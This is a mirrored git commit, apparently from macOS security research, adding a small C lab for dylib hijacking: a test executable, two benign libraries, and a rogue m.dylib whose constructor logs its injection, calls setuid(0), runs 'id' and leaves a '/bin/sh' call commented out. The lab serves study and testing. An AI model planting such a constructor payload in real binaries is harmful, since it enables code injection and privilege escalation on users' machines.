mirror of
https://github.com/Karmaz95/Snake_Apple.git
synced 2026-08-19 21:47:11 +02:00
This commit is contained in:
@@ -0,0 +1,11 @@
|
||||
//clang -dynamiclib lib1.c -o $PWD/lib1.dylib -L. -l2
|
||||
#include <stdio.h>
|
||||
#include "lib1.h"
|
||||
#include "lib2.h"
|
||||
|
||||
void callLib1Function() {
|
||||
printf("Now, wer are in lib1.dylib code.\n");
|
||||
printf("Press enter to enter lib2.dylib function\n");
|
||||
getchar();
|
||||
callLib2Function();
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#ifndef LIB1_H
|
||||
#define LIB1_H
|
||||
|
||||
void callLib1Function();
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
//clang -dynamiclib lib2.c -o $PWD/lib2.dylib
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void callLib2Function() {
|
||||
printf("Now we are in lib2.dylib.\n");
|
||||
printf("Press enter to back to executable code...\n");
|
||||
getchar();
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#ifndef LIB2_H
|
||||
#define LIB2_H
|
||||
|
||||
void callLib2Function();
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
// clang -dynamiclib m.c -o m.dylib //-o $PWD/TARGET_DYLIB
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
syslog(LOG_ERR, "[+] m.dylib injected in %s\n", argv[0]);
|
||||
printf("[+] m.dylib injected in %s\n", argv[0]);
|
||||
setuid(0);
|
||||
system("id");
|
||||
//system("/bin/sh");
|
||||
}
|
||||
|
||||
void callLib1Function(void){}
|
||||
@@ -0,0 +1,15 @@
|
||||
//clang main.c -o $PWD/executable -L. -l1
|
||||
//codesign -s IDENTITY --option=runtime -f executable
|
||||
#include <stdio.h>
|
||||
#include "lib1.h"
|
||||
|
||||
int main() {
|
||||
printf("Main program\n");
|
||||
printf("Press enter to call lib1.dylib function...\n");
|
||||
getchar();
|
||||
callLib1Function();
|
||||
printf("Press Enter to exit...\n");
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
#include "mylib.h"
|
||||
#include <stdio.h>
|
||||
|
||||
void myFunction() {
|
||||
printf("Hello from mylib!\n");
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void my_function(); // Declare the function prototype
|
||||
@@ -0,0 +1,6 @@
|
||||
#include "mylib.h"
|
||||
|
||||
int main() {
|
||||
myFunction(); // Call the function from the library
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user